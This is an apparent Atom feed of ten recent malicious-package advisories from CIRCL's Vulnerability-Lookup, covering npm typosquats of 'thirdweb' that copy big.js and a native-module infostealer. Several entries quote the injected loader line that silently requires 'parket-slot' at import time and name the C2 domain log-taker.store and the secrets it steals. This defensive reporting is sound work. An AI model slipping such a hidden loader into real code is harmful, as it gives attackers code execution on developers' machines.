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  <id>https://vulnerability.circl.lu/rss/recent/ossf_malicious_packages/10</id>
  <title>Most recent entries from ossf_malicious_packages</title>
  <updated>2026-07-28T05:25:16.805438+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-11094</id>
    <title>mal-2026-11094</title>
    <updated>2026-07-27T22:02:50+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: kam193 (588fed6ec45af5cfb8925b1f7d93b07b73d47b919a50305438153dfbb7f953e1)
The malicious code sits in a native module, which is called in a few places, including the code run via PTH embedded since version 1.0.6. The native module downloads an encrypted blob and decrypt it to an executable being an infostealer.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-07-cfgzen


Reasons (based on the campaign):


 - infostealer


 - exfiltration-env-variables


 - Downloads and executes a remote executable.


 - obfuscation


 - The package contains code to detect if it is running in a sandbox environment.


 - exfiltration-crypto


 - native-extension


 - persistence


 - abuses-pth
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-11094"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: kam193 (588fed6ec45af5cfb8925b1f7d93b07b73d47b919a50305438153dfbb7f953e1)
The malicious code sits in a native module, which is called in a few places, including the code run via PTH embedded since version 1.0.6. The native module downloads an encrypted blob and decrypt it to an executable being an infostealer.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-07-cfgzen


Reasons (based on the campaign):


 - infostealer


 - exfiltration-env-variables


 - Downloads and executes a remote executable.


 - obfuscation


 - The package contains code to detect if it is running in a sandbox environment.


 - exfiltration-crypto


 - native-extension


 - persistence


 - abuses-pth
</summary>
    <published>2026-07-27T22:02:50+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-11093</id>
    <title>mal-2026-11093</title>
    <updated>2026-07-27T16:19:52+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: ossf-package-analysis (b5bd52805195c9e3575760b3eaf605a2b9cb0fcbdde2311b7075d2d8095c4900)
The OpenSSF Package Analysis project identified '@heartlandone-private/fontawesome-pro' @ 6.3.3 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-11093"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: ossf-package-analysis (b5bd52805195c9e3575760b3eaf605a2b9cb0fcbdde2311b7075d2d8095c4900)
The OpenSSF Package Analysis project identified '@heartlandone-private/fontawesome-pro' @ 6.3.3 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.
</summary>
    <published>2026-07-27T16:19:52+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6694</id>
    <title>mal-2026-6694</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>Malicious npm package published as part of a coordinated DeFi-themed infostealer campaign. `thirdwebb` is a typosquat of the legitimate `thirdweb` package. It uses a side-loader technique, pulling in `log-taker` as a transitive dependency; the infostealer runs automatically via that dependency's `postinstall` hook. The payload harvests cryptocurrency wallet vaults (MetaMask, Phantom, Solflare, OKX, Coinbase, TrustWallet, Backpack, TronLink), browser cookies and credentials, SSH keys, AWS credentials, `.npmrc` tokens, Docker config, shell history, and password manager databases, exfiltrating all data to the C2 domain `log-taker.store`.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (fd284ad2cc38caeba0c1f2c87f8b11e61eb1581d1fdff3b71cd4b1f1402f3bc3)
Package name 'thirdwebb' differs from the established 'thirdweb' SDK by a single trailing character, a classic typosquat shape against a popular Web3 SDK. No installer-harm behavior was observed in the package's code (no exfiltration, no install-time fetch-and-execute, no silent relay, no credential distribution). Name-similarity alone is a subjective signal that benefits from human assessment of intent before a public block is issued.

## Source: ghsa-malware (f3690079037c6f809965ae7b4550b4a27bc961b344dfb424c75185b5a4b4bd85)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6694"/>
    <summary>Malicious npm package published as part of a coordinated DeFi-themed infostealer campaign. `thirdwebb` is a typosquat of the legitimate `thirdweb` package. It uses a side-loader technique, pulling in `log-taker` as a transitive dependency; the infostealer runs automatically via that dependency's `postinstall` hook. The payload harvests cryptocurrency wallet vaults (MetaMask, Phantom, Solflare, OKX, Coinbase, TrustWallet, Backpack, TronLink), browser cookies and credentials, SSH keys, AWS credentials, `.npmrc` tokens, Docker config, shell history, and password manager databases, exfiltrating all data to the C2 domain `log-taker.store`.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (fd284ad2cc38caeba0c1f2c87f8b11e61eb1581d1fdff3b71cd4b1f1402f3bc3)
Package name 'thirdwebb' differs from the established 'thirdweb' SDK by a single trailing character, a classic typosquat shape against a popular Web3 SDK. No installer-harm behavior was observed in the package's code (no exfiltration, no install-time fetch-and-execute, no silent relay, no credential distribution). Name-similarity alone is a subjective signal that benefits from human assessment of intent before a public block is issued.

## Source: ghsa-malware (f3690079037c6f809965ae7b4550b4a27bc961b344dfb424c75185b5a4b4bd85)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-30T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6693</id>
    <title>mal-2026-6693</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>Malicious npm package published as part of a coordinated DeFi-themed infostealer campaign. `thirdwb` is a typosquat of the legitimate `thirdweb` package. It uses a side-loader technique, pulling in `log-taker` as a transitive dependency; the infostealer runs automatically via that dependency's `postinstall` hook. The payload harvests cryptocurrency wallet vaults (MetaMask, Phantom, Solflare, OKX, Coinbase, TrustWallet, Backpack, TronLink), browser cookies and credentials, SSH keys, AWS credentials, `.npmrc` tokens, Docker config, shell history, and password manager databases, exfiltrating all data to the C2 domain `log-taker.store`.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (46722968fbda27cc58821cf8eb055f9c299d3984f794bc6c8554183a11f71304)
The package was found to contain malicious code or consuming dependency that contains malicious code

## Source: ghsa-malware (7004be2aa6329c3eddda9d9809f0f87e06a14d60ddf9ad3f25b06675c1df6a83)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6693"/>
    <summary>Malicious npm package published as part of a coordinated DeFi-themed infostealer campaign. `thirdwb` is a typosquat of the legitimate `thirdweb` package. It uses a side-loader technique, pulling in `log-taker` as a transitive dependency; the infostealer runs automatically via that dependency's `postinstall` hook. The payload harvests cryptocurrency wallet vaults (MetaMask, Phantom, Solflare, OKX, Coinbase, TrustWallet, Backpack, TronLink), browser cookies and credentials, SSH keys, AWS credentials, `.npmrc` tokens, Docker config, shell history, and password manager databases, exfiltrating all data to the C2 domain `log-taker.store`.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (46722968fbda27cc58821cf8eb055f9c299d3984f794bc6c8554183a11f71304)
The package was found to contain malicious code or consuming dependency that contains malicious code

## Source: ghsa-malware (7004be2aa6329c3eddda9d9809f0f87e06a14d60ddf9ad3f25b06675c1df6a83)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-30T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6345</id>
    <title>mal-2026-6345</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)
Package name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

## Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6345"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)
Package name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

## Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T20:01:24+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6344</id>
    <title>mal-2026-6344</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)
Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; {}).catch(e =&gt; {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares `"log-taker": "^0.0.9"` as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

## Source: ghsa-malware (cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6344"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)
Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; {}).catch(e =&gt; {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares `"log-taker": "^0.0.9"` as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

## Source: ghsa-malware (cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T20:01:23+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6343</id>
    <title>mal-2026-6343</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d)
Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. The same block is present in big.mjs. `parket-slot` is not declared in `package.json` dependencies; the only declared dependency is `log-taker@^0.0.9`, which upstream big.js does not require (upstream is dependency-free). Any developer who installs `thidweb` (mistaking it for big.js) and imports it executes whatever code `parket-slot` ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.

## Source: ghsa-malware (9c9c50e0a8d6b4f9a386ff65eaa0ecfbf7cadd4c43ba93b25e3f82ec4754048c)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6343"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d)
Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc = require("parket-slot"); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. The same block is present in big.mjs. `parket-slot` is not declared in `package.json` dependencies; the only declared dependency is `log-taker@^0.0.9`, which upstream big.js does not require (upstream is dependency-free). Any developer who installs `thidweb` (mistaking it for big.js) and imports it executes whatever code `parket-slot` ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.

## Source: ghsa-malware (9c9c50e0a8d6b4f9a386ff65eaa0ecfbf7cadd4c43ba93b25e3f82ec4754048c)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T20:01:26+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6342</id>
    <title>mal-2026-6342</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (d9e63765322daedaf6d802d322402a1837d3ec653ecf47909d243e5c87398117)
The package's name 'therdweb' is a one-character variation of the popular 'thirdweb' SDK, while its contents (README, source code, author field 'Michael Mclaughlin', repository URL pointing at MikeMcl/big.js, version banner '7.0.1') are copied verbatim from the unrelated big.js library — the publisher is not the original author of either project. Both shipped entrypoints, big.js and big.mjs, contain an injected try/catch block that performs `require("parket-slot")` and immediately invokes `doc.from_str()` on it at module load, with the catch block left empty to swallow errors. `parket-slot` is not listed in `package.json` dependencies and is not mentioned in the README (which falsely claims 'No dependencies'); package.json additionally declares an undocumented dependency `log-taker@^0.0.9`. Any consumer that imports or requires this package will execute code from these external, undeclared/hidden modules controlled by the same actor, while the README hides their existence. This is the loader half of a multi-package install-graph dropper paired with name-confusion against thirdweb and identity impersonation of big.js.

## Source: ghsa-malware (3a71ff401b8ca3f61c6dcb8b5ea46adbda1fc6eb03e773757cadae905c02dce8)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6342"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (d9e63765322daedaf6d802d322402a1837d3ec653ecf47909d243e5c87398117)
The package's name 'therdweb' is a one-character variation of the popular 'thirdweb' SDK, while its contents (README, source code, author field 'Michael Mclaughlin', repository URL pointing at MikeMcl/big.js, version banner '7.0.1') are copied verbatim from the unrelated big.js library — the publisher is not the original author of either project. Both shipped entrypoints, big.js and big.mjs, contain an injected try/catch block that performs `require("parket-slot")` and immediately invokes `doc.from_str()` on it at module load, with the catch block left empty to swallow errors. `parket-slot` is not listed in `package.json` dependencies and is not mentioned in the README (which falsely claims 'No dependencies'); package.json additionally declares an undocumented dependency `log-taker@^0.0.9`. Any consumer that imports or requires this package will execute code from these external, undeclared/hidden modules controlled by the same actor, while the README hides their existence. This is the loader half of a multi-package install-graph dropper paired with name-confusion against thirdweb and identity impersonation of big.js.

## Source: ghsa-malware (3a71ff401b8ca3f61c6dcb8b5ea46adbda1fc6eb03e773757cadae905c02dce8)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T20:01:30+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6320</id>
    <title>mal-2026-6320</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2)
ts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: `try { const doc = require('parket-slot'); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.

## Source: ghsa-malware (0095bb7657066925a35684f9f134a0512ae5565f1b4a4b8ceade7a43173c5b86)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6320"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2)
ts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: `try { const doc = require('parket-slot'); doc.from_str().then(e =&gt; { }).catch(e =&gt; { }) } catch (error) { }`. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.

## Source: ghsa-malware (0095bb7657066925a35684f9f134a0512ae5565f1b4a4b8ceade7a43173c5b86)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T16:11:23+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-6319</id>
    <title>mal-2026-6319</title>
    <updated>2026-07-27T09:45:44+00:00</updated>
    <content>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324)
The package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes `try { const doc = require('parket-slot'); doc.from_str().then(e =&gt; {}).catch(e =&gt; {}) } catch (error) {}`, silently attempting to load and invoke an undeclared third-party module 'parket-slot' with all errors swallowed. The package.json declares no dependency on 'parket-slot'; the only declared dependency is a non-resolvable local filesystem path `log-taker: file:../log-taker`, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the 'parket-slot' name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent.

## Source: ghsa-malware (09262d9bb41b082ed30cef52bc29f975686fae5a107543d4a2f2f40c08a11d6e)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-6319"/>
    <summary>
---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324)
The package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes `try { const doc = require('parket-slot'); doc.from_str().then(e =&gt; {}).catch(e =&gt; {}) } catch (error) {}`, silently attempting to load and invoke an undeclared third-party module 'parket-slot' with all errors swallowed. The package.json declares no dependency on 'parket-slot'; the only declared dependency is a non-resolvable local filesystem path `log-taker: file:../log-taker`, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the 'parket-slot' name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent.

## Source: ghsa-malware (09262d9bb41b082ed30cef52bc29f975686fae5a107543d4a2f2f40c08a11d6e)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
</summary>
    <published>2026-06-23T16:11:18+00:00</published>
  </entry>
</feed>
